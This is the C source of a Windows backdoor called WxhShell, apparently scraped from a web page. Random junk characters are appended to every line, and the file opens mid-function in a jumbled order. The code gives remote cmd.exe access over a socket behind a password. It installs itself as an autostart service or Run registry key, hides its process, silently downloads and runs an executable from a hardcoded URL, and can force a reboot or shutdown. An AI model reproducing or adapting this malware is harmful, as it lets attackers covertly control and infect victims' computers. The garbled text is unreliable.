    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MV\|e1B}  
    else { HaYE9/xS  
    closesocket(wsh); 2#<xAR  
    ExitThread(0); %d>=+Ds[  
    } k-HCeZ  
    break; :)_~w4&  
    } l*kPOyB  
  // 获取shell LX@/RAd vz  
  case 's': { '`XX "_k3  
    CmdShell(wsh); )d$glI+  
    closesocket(wsh); H N.3  
    ExitThread(0); u\LFlX0sO  
    break; q|v(Edt|_[  
  } %9M~f*  
  // 退出 0LfU=X0#7  
  case 'x': { &znQ;NH#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m"fNK$_d  
    CloseIt(wsh); E !a|Xp  
    break; \yd s5g!:  
    } yfx7{naKC`  
  // 离开 839IRM@'5  
  case 'q': { qZh1`\G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;IVDr:  
    closesocket(wsh); 8ZKo_I\  
    WSACleanup(); C#t'Y*  
    exit(1); 9XRZ$j}L  
    break; N^pJS6cJkl  
        } <oWB0%  
  } LwK+:4$  
  } (q4),y<:[  
t@R ?Rgu3  
  // 提示信息 -GqT7`:(H4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &p}$J )q  
} n%k!vJ)]  
  } %c [F;ug  
VsN pHQG]  
  return; a_ `[Lj  
} mFSw@CC  
0\:(ageY?  
// shell模块句柄 H'LD}\K l  
int CmdShell(SOCKET sock) 't_[dSO  
{ ;Ww7"-=sw  
STARTUPINFO si; ??i,Vr@)w  
ZeroMemory(&si,sizeof(si)); {2+L @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mnz!nWhk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #ssN027  
PROCESS_INFORMATION ProcessInfo; EC\yz H*X  
char cmdline[]="cmd"; wQiX<)O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #SX8=f`K5  
  return 0; .h& .K  
} 1XnZy5fEo  
baP^<w^  
// 自身启动模式 +Wx{:  
int StartFromService(void) u6_@.a}  
{ fuA&7gNC  
typedef struct Nof3F/2 N&  
{ KGWyJ  
  DWORD ExitStatus; 9(L)&S{4K  
  DWORD PebBaseAddress; s.x&LG  
  DWORD AffinityMask; L W;heO"  
  DWORD BasePriority;  k0  
  ULONG UniqueProcessId; X*,%&6O*  
  ULONG InheritedFromUniqueProcessId; sL@U  
}   PROCESS_BASIC_INFORMATION; sPpsq  
Wa1, p  
PROCNTQSIP NtQueryInformationProcess; Tzn tO9P+  
0%Z]h?EYy|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y /BJIQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]\xy\\b/`  
]_8qn'7  
  HANDLE             hProcess; i@B[ eta  
  PROCESS_BASIC_INFORMATION pbi; q-`RI*1]  
KrXdnY8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ai/b\:V9S  
  if(NULL == hInst ) return 0; g"L|n7_b  
pFm=y#!t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ KRI'4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y8 KX<2s1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r.T<j .\  
c1_5, 1U'  
  if (!NtQueryInformationProcess) return 0; ;]w<&C!=  
Udc=,yo3Qm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1|?05<8  
  if(!hProcess) return 0; oX DN+4ge  
)6w}<W*1E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c= x,ijY "  
qt3PXqR7 :  
  CloseHandle(hProcess); cI=r+ OGk*  
 :Mcu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~\cO"(y5:O  
if(hProcess==NULL) return 0; f_imyzP   
581e+iC~<H  
HMODULE hMod; t(+) #  
char procName[255]; Ik[s  
unsigned long cbNeeded; _9?I A  
sU!6hk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XgxX.`H7  
4_UU<GEp  
  CloseHandle(hProcess); `D":Q=:  
|8.(XsN  
if(strstr(procName,"services")) return 1; // 以服务启动 t2V0lyeL  
[tH-D$V  
  return 0; // 注册表启动 A 5+rd{k/  
} JGFt0He]  
Z1h]  
// 主模块 je6CDFqw  
int StartWxhshell(LPSTR lpCmdLine) p[@5&_u(z  
{ < n:}kQTT  
  SOCKET wsl; g >'p>}t  
BOOL val=TRUE; v|ck>_" .  
  int port=0; oP2fX_v1x  
  struct sockaddr_in door; )' hH^(Yu  
dDD<E?TjD  
  if(wscfg.ws_autoins) Install(); #9m$ N  
R@*O!bD  
port=atoi(lpCmdLine); d7&eLLx  
+,&O1ykY  
if(port<=0) port=wscfg.ws_port; nZ_v/?O  
,j?.4{rHJ  
  WSADATA data; SR8qt z/V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c=[O `/f  
1N\D5g3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { K _kPgKS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x%<  
  door.sin_family = AF_INET; =B];?%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Fe^Qb5G  
  door.sin_port = htons(port); NB7Y{) w  
.,i(2^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *1'`"D~  
closesocket(wsl); QnI.zq V  
return 1; >?]_<:  
} y?)}8T^  
Jj= ;  
  if(listen(wsl,2) == INVALID_SOCKET) { 5PIZh<  
closesocket(wsl); ]u-02g  
return 1; yE\wj  
} pCu!l#J  
  Wxhshell(wsl);  8*c3|  
  WSACleanup(); YxGcFjJ  
Ox#Q2W@Uy  
return 0; KT.?Xp:z  
kJAn4I.l  
} ;@nFVy>U  
tj*y)28-  
// 以NT服务方式启动 /?6gdN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M0' a9.d  
{ E_1="&p  
DWORD   status = 0; TS"D]Txs  
  DWORD   specificError = 0xfffffff; PU {uE[  
m))<!3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q*YYTmZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H2r8,|XL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kL90&nP   
  serviceStatus.dwWin32ExitCode     = 0; T'#!~GpB  
  serviceStatus.dwServiceSpecificExitCode = 0; T%F0B`  
  serviceStatus.dwCheckPoint       = 0; $ C0TD7=  
  serviceStatus.dwWaitHint       = 0; @+Y8*Rj\3  
=9G;PVk|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -.<k~71  
  if (hServiceStatusHandle==0) return; f&x0@Q/eON  
W0zbxJKjd  
status = GetLastError(); t0#[#I1+  
  if (status!=NO_ERROR) 8seBT ;S  
{ f{lZKfrp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6] z}#"  
    serviceStatus.dwCheckPoint       = 0; )B!d,HKt;  
    serviceStatus.dwWaitHint       = 0; A K/z6XGy  
    serviceStatus.dwWin32ExitCode     = status; Zw] ?.  
    serviceStatus.dwServiceSpecificExitCode = specificError; XTeb9h)3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CodSJ,  
    return; ;50_0Mv;(:  
  } _J]2~b  
*zWWmxcJa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nW+YOX|+  
  serviceStatus.dwCheckPoint       = 0; a45 ss7  
  serviceStatus.dwWaitHint       = 0; ^# A.@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~/IexQB&  
} Y& ] 8 {  
?G08NR  
// 处理NT服务事件,比如:启动、停止 {^Pq\h;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [<wbbvXR  
{ RiO="tX'  
switch(fdwControl) gcJF`H/iNK  
{ L7mz#CMWf  
case SERVICE_CONTROL_STOP: eX2<}'W<  
  serviceStatus.dwWin32ExitCode = 0; d'l$$%zJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R< zG^m  
  serviceStatus.dwCheckPoint   = 0; CiL94Nkd9  
  serviceStatus.dwWaitHint     = 0; !RlC~^ -  
  { (D{Ys'{q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5M23/= N  
  } cgj.e  
  return; s(&;q4|  
case SERVICE_CONTROL_PAUSE: #vf_D?^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l #@&~f[  
  break; p8,0lo  
case SERVICE_CONTROL_CONTINUE: n+D#k 8{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Qh`6Ya f  
  break; Z0fJ9 HW  
case SERVICE_CONTROL_INTERROGATE: L|^o7 1t|  
  break; P` '$  
}; OK`Z@X_,bW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D22Lu ;E  
} q2_`v5t  
_a+ICqR  
// 标准应用程序主函数 ex?\ c"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RP(/x+V  
{ TRKgBK$,  
%HSl)zEo>C  
// 获取操作系统版本 u{bL-a8}  
OsIsNt=GetOsVer(); L"rcv:QWZa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [}3cDR  
agd)ag4"[u  
  // 从命令行安装 F* #h9 Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); sIm#_+Y  
I}v]Zm9  
  // 下载执行文件 HP a|uDVv  
if(wscfg.ws_downexe) { m1.B\~S3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .yVnw^gu  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2W3W/> 2 h  
} dALK0U  
B; -2$ 77  
if(!OsIsNt) { c6b0*!D"}  
// 如果时win9x,隐藏进程并且设置为注册表启动 0k?Sq#7q  
HideProc(); C>*n9l[M~  
StartWxhshell(lpCmdLine); RI@*O6\/I  
} acOJ]]  
else  v_sm  
  if(StartFromService()) 7aQcP  
  // 以服务方式启动 K!b8= K`  
  StartServiceCtrlDispatcher(DispatchTable); pIVq("&  
else GM}C]MVD  
  // 普通方式启动 <4zT;:NQ  
  StartWxhshell(lpCmdLine); [F|+(}  
j;2<-{  
return 0; n6d^>s9J  
} *\LyNL(  
ARx0zI%N  
JCQ:+eqt  
 q{X T  
=========================================== n9 fk,3  
"g `nsk  
(G8  
_=6OP8  
3C"_$?y"  
vF>gU_gz.  
" 7C5pAb:  
X&\o{w9%  
#include <stdio.h> id?_>9@P  
#include <string.h> m.V,I}J.q  
#include <windows.h> a{_ KSg  
#include <winsock2.h> O|UxFnB}  
#include <winsvc.h> k,X74D+  
#include <urlmon.h> aqfL0Rg+`  
/S/aUvN  
#pragma comment (lib, "Ws2_32.lib") [A_r1g&_  
#pragma comment (lib, "urlmon.lib") oP]L5S&A  
ogeRYq,g  
#define MAX_USER   100 // 最大客户端连接数 S+FQa7k  
#define BUF_SOCK   200 // sock buffer ,QS'$n  
#define KEY_BUFF   255 // 输入 buffer ,U%=rfB~  
y~p4">]  
#define REBOOT     0   // 重启 k_Tswf3  
#define SHUTDOWN   1   // 关机 <bdyAUeFw  
 9d"5wx  
#define DEF_PORT   5000 // 监听端口 l^,qO3ES  
ZT9IMihV  
#define REG_LEN     16   // 注册表键长度 Qcgu`]7}  
#define SVC_LEN     80   // NT服务名长度 Wy(pLBmb  
g9qC{x d  
// 从dll定义API _j 5N=I{U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sPpS~wk*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nx;$dxx_Ws  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4p x_ZD#J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E!@/NE\-  
u&SZ lkf6%  
// wxhshell配置信息 k2OM="Ei}  
struct WSCFG { p!GZCf,   
  int ws_port;         // 监听端口 MOyT< $  
  char ws_passstr[REG_LEN]; // 口令 kZK//YN#  
  int ws_autoins;       // 安装标记, 1=yes 0=no [` 'd#pR  
  char ws_regname[REG_LEN]; // 注册表键名 ?48AY6  
  char ws_svcname[REG_LEN]; // 服务名 ! IgoL&=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K_##-6>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U"B.:C2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vr\Q`H.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .\)k+ R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qsvpW%?aE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OT+Ee  
=43d%N  
}; HZuiVW8  
fM{1Os  
// default Wxhshell configuration E&9!1!B  
struct WSCFG wscfg={DEF_PORT, leIy|K>\m  
    "xuhuanlingzhe", a hwy_\  
    1, ^5>du~d  
    "Wxhshell", " <*nZ~nE)  
    "Wxhshell", 8;8YA1@w  
            "WxhShell Service", {,F/KL^u  
    "Wrsky Windows CmdShell Service", +',^((o  
    "Please Input Your Password: ", <p)Z/  
  1, lO_c/o$  
  "http://www.wrsky.com/wxhshell.exe", :Q=z=`*2w  
  "Wxhshell.exe" /4H[4m]I  
    };  6s5b$x  
,$BgR2^  
// 消息定义模块 ;24'f-Eri  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -s89)lUkS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j Ii[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vu ?3$  
char *msg_ws_ext="\n\rExit."; U,38qKE  
char *msg_ws_end="\n\rQuit."; S"{GlRpd  
char *msg_ws_boot="\n\rReboot..."; \2Xx%SX  
char *msg_ws_poff="\n\rShutdown..."; vQy$[D*  
char *msg_ws_down="\n\rSave to "; 08O7F  
u/#&0_ P  
char *msg_ws_err="\n\rErr!"; Uf^RLdoDn  
char *msg_ws_ok="\n\rOK!"; Lb^(E-  
jjX%$Hr  
char ExeFile[MAX_PATH]; ,{pGP#  
int nUser = 0; " SLvUzO>q  
HANDLE handles[MAX_USER]; } m6\C5  
int OsIsNt; 5=m3J !?  
T aEt  
SERVICE_STATUS       serviceStatus; a(5y>HF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EFwL.'Fh  
W8x[3,gT  
// 函数声明 }<.7xz|V  
int Install(void); lc" qqt  
int Uninstall(void); [='p!7 z  
int DownloadFile(char *sURL, SOCKET wsh); aSTFcz"  
int Boot(int flag); m'SmN{(t  
void HideProc(void); 1N>6rN  
int GetOsVer(void); `LE^:a:8,  
int Wxhshell(SOCKET wsl); s{cKBau  
void TalkWithClient(void *cs); 2@4x"F]U;  
int CmdShell(SOCKET sock); m]1!-`(*  
int StartFromService(void); N-D(y  
int StartWxhshell(LPSTR lpCmdLine); Yg$@Wb6  
{:3.27jQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l3BD <PB2S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2DUr7r M  
[h^f%  
// 数据结构和表定义 C#ZhsWS!b  
SERVICE_TABLE_ENTRY DispatchTable[] = 6{ C Fe|XN  
{ [pr 9 $Jr  
{wscfg.ws_svcname, NTServiceMain}, &7fY_~)B  
{NULL, NULL} T6,V  
}; "NJ ,0A  
9ptZVv=O  
// 自我安装 )F +nSV;  
int Install(void) 6EZ1YG}  
{ yV8-  
  char svExeFile[MAX_PATH]; D>ojW|@}  
  HKEY key; Q5hb0O%a  
  strcpy(svExeFile,ExeFile); 0n\^$WY  
w[e0wh`.  
// 如果是win9x系统,修改注册表设为自启动 7TnM4@*f  
if(!OsIsNt) { ([[)Ub$U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /z..5r^,ZZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ibCR~W4  
  RegCloseKey(key); 32s5-.{c/f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZU)BJ!L,s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >1m)%zt  
  RegCloseKey(key); xnT3^ #-h  
  return 0; " \`BPN  
    } W0C{~|e  
  } HgYc@P*b  
} @l)\?IEF@f  
else { -g9^0V`G  
mMV2h|W   
// 如果是NT以上系统,安装为系统服务 dFx2>6AZt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f V*}c`  
if (schSCManager!=0) N?\bBt@  
{ E]\D>[0O  
  SC_HANDLE schService = CreateService :m]/u( /N  
  ( #NW Zk.S  
  schSCManager, O >nK ,.  
  wscfg.ws_svcname, ZGA)r0] P`  
  wscfg.ws_svcdisp, :jBZK=3F>  
  SERVICE_ALL_ACCESS, T!Xm")d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1]_?$)$T  
  SERVICE_AUTO_START, 1V-=$Q3 V7  
  SERVICE_ERROR_NORMAL, C2CYIo k$&  
  svExeFile, <%M\7NDWDA  
  NULL, GSC{F#:z  
  NULL, ?]s%(R,B5  
  NULL, NY.}uZ  
  NULL, ~5FS|[1L  
  NULL 1NuR/DO  
  ); fS5GICx8R  
  if (schService!=0) ;R/k2^uF  
  { W+8BQ- 2  
  CloseServiceHandle(schService); '$n:CNha  
  CloseServiceHandle(schSCManager); N[0 xqQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a3Z :C!|O'  
  strcat(svExeFile,wscfg.ws_svcname); mYiSR   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f#'8"ff*1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |sA4:Aq  
  RegCloseKey(key); UCe,2v%  
  return 0; 67}]s@:l](  
    } zv$Gma_  
  } ub[""M?  
  CloseServiceHandle(schSCManager); zt-'SY  
} 9 %D$T'K  
} c9\B[@-q  
os}b?I*K  
return 1; O|HIO&M  
} <sgZ3*,A  
XC*uz  
// 自我卸载 ?H y%ULk  
int Uninstall(void) 17WNJ  
{ 7vi i9Am7  
  HKEY key; h9w@oRp`~  
_=o1?R  
if(!OsIsNt) { "L9C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N|UBaPS|o  
  RegDeleteValue(key,wscfg.ws_regname); jN31\)/i  
  RegCloseKey(key); =''mpIg(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )`B -O::  
  RegDeleteValue(key,wscfg.ws_regname); -Pqi1pj]  
  RegCloseKey(key); {z.[tvE8h  
  return 0; <I>%m,  
  } =@Q#dDnFu%  
} m Y$nI -P  
} ]cx"  
else { /d{glOk  
QN)/,=#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8W19#?7>B  
if (schSCManager!=0) T [i7C3QS  
{ M,.b`1-w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jz|Wj  
  if (schService!=0) ybD{4&ZE  
  { l4iuu  
  if(DeleteService(schService)!=0) { W2}%zux  
  CloseServiceHandle(schService); 08zi/g2 3  
  CloseServiceHandle(schSCManager); @/CRIei  
  return 0; C_;HaQiu  
  } <{$ ev&bQ  
  CloseServiceHandle(schService); lAdOC5+JX  
  } b}ySZlmy  
  CloseServiceHandle(schSCManager); K)yCrEZ  
} "WF( 6z#  
} >{O[t2&  
e#l*/G*,  
return 1; g0^~J2sDd  
} @?<N +qdH>  
aDm-X r  
// 从指定url下载文件 u~' m7  
int DownloadFile(char *sURL, SOCKET wsh) xaGVu0q  
{ T^/Gj|N*  
  HRESULT hr; z1Bj_u{  
char seps[]= "/"; LL|_c4$Ky  
char *token; 4q\.I +r^  
char *file; qWRNHUd  
char myURL[MAX_PATH]; %00k1 *$  
char myFILE[MAX_PATH]; Jo6~r-  
]I{qp~^#n  
strcpy(myURL,sURL); n.2E8m/  
  token=strtok(myURL,seps); 3v9gb,)y\  
  while(token!=NULL) uS! 35{.>  
  { 1$='`@8I  
    file=token; t 3(%UB  
  token=strtok(NULL,seps); o~i]W.SI(  
  } 8gVxiFjo  
5?V?  
GetCurrentDirectory(MAX_PATH,myFILE); lH#@^i|G  
strcat(myFILE, "\\"); 5;3c<  
strcat(myFILE, file); "/4s8.dw+u  
  send(wsh,myFILE,strlen(myFILE),0); 3e!3.$4M  
send(wsh,"...",3,0); Nw9-pQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,omp F$%  
  if(hr==S_OK) AJ;u&&c4C\  
return 0; ka?IX9t\  
else L Q I: ]d  
return 1; ) xfc-Q  
Bq$e|t)'  
} jjS{q,bo  
s=^r/Sz902  
// 系统电源模块 u^#4G7<  
int Boot(int flag) W (=Wg|cr  
{ ]wkSAi5z*  
  HANDLE hToken; '8r8 ^g[  
  TOKEN_PRIVILEGES tkp; dO 1-c`  
88tFB  
  if(OsIsNt) { Sb:zN'U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0[Xt,~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CX&yjT6`  
    tkp.PrivilegeCount = 1; eZN3H"H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?)Czl4J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &xGfkCP.]  
if(flag==REBOOT) { RE`J"&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j61BP8E  
  return 0; M `9orq<  
} >D`fp  
else { f_re"d 3u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5{R#h :  
  return 0; d I#8CO  
} e' /  
  } Z30z<d,j  
  else { $L<_uqSk  
if(flag==REBOOT) { 5`{|[J_[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) an$ ]IN  
  return 0; G*vpf~q?  
} p:[`%<j0  
else { YA^wUx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <FcPxZ  
  return 0; *f0.=?  
} IS0HV$OI  
} h30QCk  
DJ mQZ+{2  
return 1; NgE&KPj\  
} L#7)X5a__  
.q_uJ_qu-  
// win9x进程隐藏模块 F9u:8;\@`  
void HideProc(void) rB.=f[aX[  
{ 9Th32}H  
j$|Yd=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G)tq/`zNw  
  if ( hKernel != NULL ) E1l\~%A  
  { g9([3pV,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sl^s9kx;C$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %|D\j-~  
    FreeLibrary(hKernel); ;G4HMtL  
  } L!8 -:)0b  
DmXDg7y7s  
return; CD8JYiJ  
} aiR|.opIb  
uJ IRk$  
// 获取操作系统版本 8CnI%_Su  
int GetOsVer(void) -KIVnV=&m  
{ A<YZBR_  
  OSVERSIONINFO winfo; Cdt,//xrz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GqIvvnw@f  
  GetVersionEx(&winfo); _pH6uuB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A5.'h<  
  return 1; 9aF..  
  else :bM$;  
  return 0; /v bO/Mr  
} RXx?/\~yd;  
/SPAJHh  
// 客户端句柄模块 3I>S:|=K  
int Wxhshell(SOCKET wsl) ^7~SS2t!  
{ _Y ><ih  
  SOCKET wsh; 0'\FrG  
  struct sockaddr_in client; k@t,[  
  DWORD myID; PO%yWns30o  
g<hv7?"[  
  while(nUser<MAX_USER) t'=~"?T/o  
{ '.h/Y/oz  
  int nSize=sizeof(client); ir@N>_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f1]AfH#  
  if(wsh==INVALID_SOCKET) return 1; "#\bQf}  
A=qW]Im  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3'sWlhf;  
if(handles[nUser]==0) xPfnyAo?%z  
  closesocket(wsh); O&?CoA?  
else \6`%NhkM_  
  nUser++; ?2<6#>(7a  
  } *(\;}JF-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ghgv RR$  
St7D.|  
  return 0; B GEJiLH  
} c>U{,z  
OuBMVn  
// 关闭 socket eX l%Qs#Y  
void CloseIt(SOCKET wsh) z W" 3K  
{ MR)KLM0  
closesocket(wsh); '#4mDz~  
nUser--; QzFv;  
ExitThread(0); &Xl_sDvt  
} z[lRb]:i[  
,],JI|Rl8c  
// 客户端请求句柄 kXZV%mnT7  
void TalkWithClient(void *cs) UB&S 2g  
{ L yA(.  
e\ l,gQP  
  SOCKET wsh=(SOCKET)cs; Cj4b]*Q,  
  char pwd[SVC_LEN]; YAC zznN  
  char cmd[KEY_BUFF]; )(ZPSg$/F  
char chr[1]; o wpJ7S1~  
int i,j; #`vGg9  
#Rm=Em}d  
  while (nUser < MAX_USER) { @Pb 1QLiz  
d"d)<f   
if(wscfg.ws_passstr) { %\{?(baOA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ji}IV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (y+5d00  
  //ZeroMemory(pwd,KEY_BUFF); li_pM!dWU_  
      i=0; [>J~M!yu:r  
  while(i<SVC_LEN) { [-Dgo1}Qr  
eVCkPv *  
  // 设置超时 ?;KJ (@Va  
  fd_set FdRead; 3Ibt'$dK  
  struct timeval TimeOut; P=sK+}5`q  
  FD_ZERO(&FdRead); PM@s}(  
  FD_SET(wsh,&FdRead); <1g1hqK3  
  TimeOut.tv_sec=8; E-U;8cOMv  
  TimeOut.tv_usec=0; SKc T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PcSoG\- G<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J|2Hqd  
)V$!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z7Rcnr;  
  pwd=chr[0]; w`#0 Y9O  
  if(chr[0]==0xd || chr[0]==0xa) { m/F(h-?  
  pwd=0; Yq hz(&*)  
  break; 9uq+Ve>  
  } 8apKp?~yW  
  i++; Hj4w i|  
    } Uo[5V|>X6  
hq8/`u YF  
  // 如果是非法用户,关闭 socket zUUxxS_?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v!RB(T3  
} zju,#%  
"MS`d+rf\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l6DIsR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *~<]|H5~  
7@y!R   
while(1) { FiU;>t<)  
~ %YTJS  
  ZeroMemory(cmd,KEY_BUFF); iJKm27 ">  
io?{ew  
      // 自动支持客户端 telnet标准   s8_NN  
  j=0; < ,cIc]eX  
  while(j<KEY_BUFF) { \,bFm,kC?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y %D*O  
  cmd[j]=chr[0]; >A(?Pn{|a  
  if(chr[0]==0xa || chr[0]==0xd) { qT>& v_<  
  cmd[j]=0; DdS3<3]A  
  break; }Ka.bZS  
  } 2hA66ar{$  
  j++; +i_f.Ipp  
    } CT:eV7<>s  
KjfKo;T  
  // 下载文件 H"RF[bX(  
  if(strstr(cmd,"http://")) { `:BQ&T%UQR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L"du"-  
  if(DownloadFile(cmd,wsh)) OTHd1PSOu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^xNe Eb  
  else A&lgiR*ObT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$o&dQ=n[  
  } sd@gEp)L  
  else { "T1#*"{j  
H- qP>:  
    switch(cmd[0]) { t?H;iBrpxd  
  nTy,Jml  
  // 帮助 Qbt>}?-  
  case '?': { t5v)6|  
